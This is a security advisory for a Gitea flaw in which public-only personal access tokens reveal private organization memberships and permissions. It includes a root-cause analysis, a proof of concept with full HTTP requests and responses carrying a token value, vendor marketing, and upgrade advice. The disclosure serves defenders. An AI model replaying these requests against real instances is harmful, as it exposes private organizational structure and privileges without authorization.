Summary
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.
Details
The issue affects the following endpoints:
GET /api/v1/user/orgs
GET /api/v1/users/{username}/orgs/{org}/permissions
The application correctly prevents a public-only token from directly accessing a private organization through:
GET /api/v1/orgs/{org}
However, that same token can still obtain private organization data through alternate code paths.
The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.
For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.
For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.
The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.
The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.
This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.
PoC
Step 1: Create or use a user account that belongs to at least one private organization.
Step 2: Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization
https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6
Step 3: Confirm the token is correctly restricted by requesting the private organization directly
[REQUEST]
GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2
Host: gitea.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://gitea.com/api/swagger
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
[RESPONSE]
HTTP/2 403 Forbidden
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: max-age=0, private, must-revalidate, no-transform
Content-Type: application/json;charset=utf-8
Date: Wed, 15 Apr 2026 17:23:19 GMT
Server: Caddy
Vary: Origin
X-Content-Type-Options: nosniff
X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.
Content-Length: 89
{"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"}
Step 4: Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org.
[REQUEST]
GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2
Host: gitea.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://gitea.com/api/swagger
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
[RESPONSE]
HTTP/2 200 OK
Access-Control-Expose-Headers: X-Total-Count
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: max-age=0, private, must-revalidate, no-transform
Content-Type: application/json;charset=utf-8
Date: Wed, 15 Apr 2026 17:26:35 GMT
Server: Caddy
Vary: Origin
X-Content-Type-Options: nosniff
X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.
X-Total-Count: 1
Content-Length: 261
[{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}]
Step 5: Use the same token to request organization permissions for that private organization.
[REQUEST]
GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2
Host: gitea.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://gitea.com/api/swagger
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
[RESPONSE]
HTTP/2 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: max-age=0, private, must-revalidate, no-transform
Content-Type: application/json;charset=utf-8
Date: Wed, 15 Apr 2026 17:30:32 GMT
Server: Caddy
Vary: Origin
X-Content-Type-Options: nosniff
X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.
Content-Length: 95
{"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true}
Impact
Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.
CVE-2026-58429 has a CVSS score of 4.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-58429? CVE-2026-58429 is a medium-severity security vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0.
- How severe is CVE-2026-58429? CVE-2026-58429 has a CVSS score of 4.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58429? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
- Is there a fix for CVE-2026-58429? Yes. CVE-2026-58429 is fixed in 1.27.0. Upgrade to this version or later.
- Is CVE-2026-58429 exploitable, and should I be worried? Whether CVE-2026-58429 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58429 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58429? Upgrade
code.gitea.io/giteato 1.27.0 or later.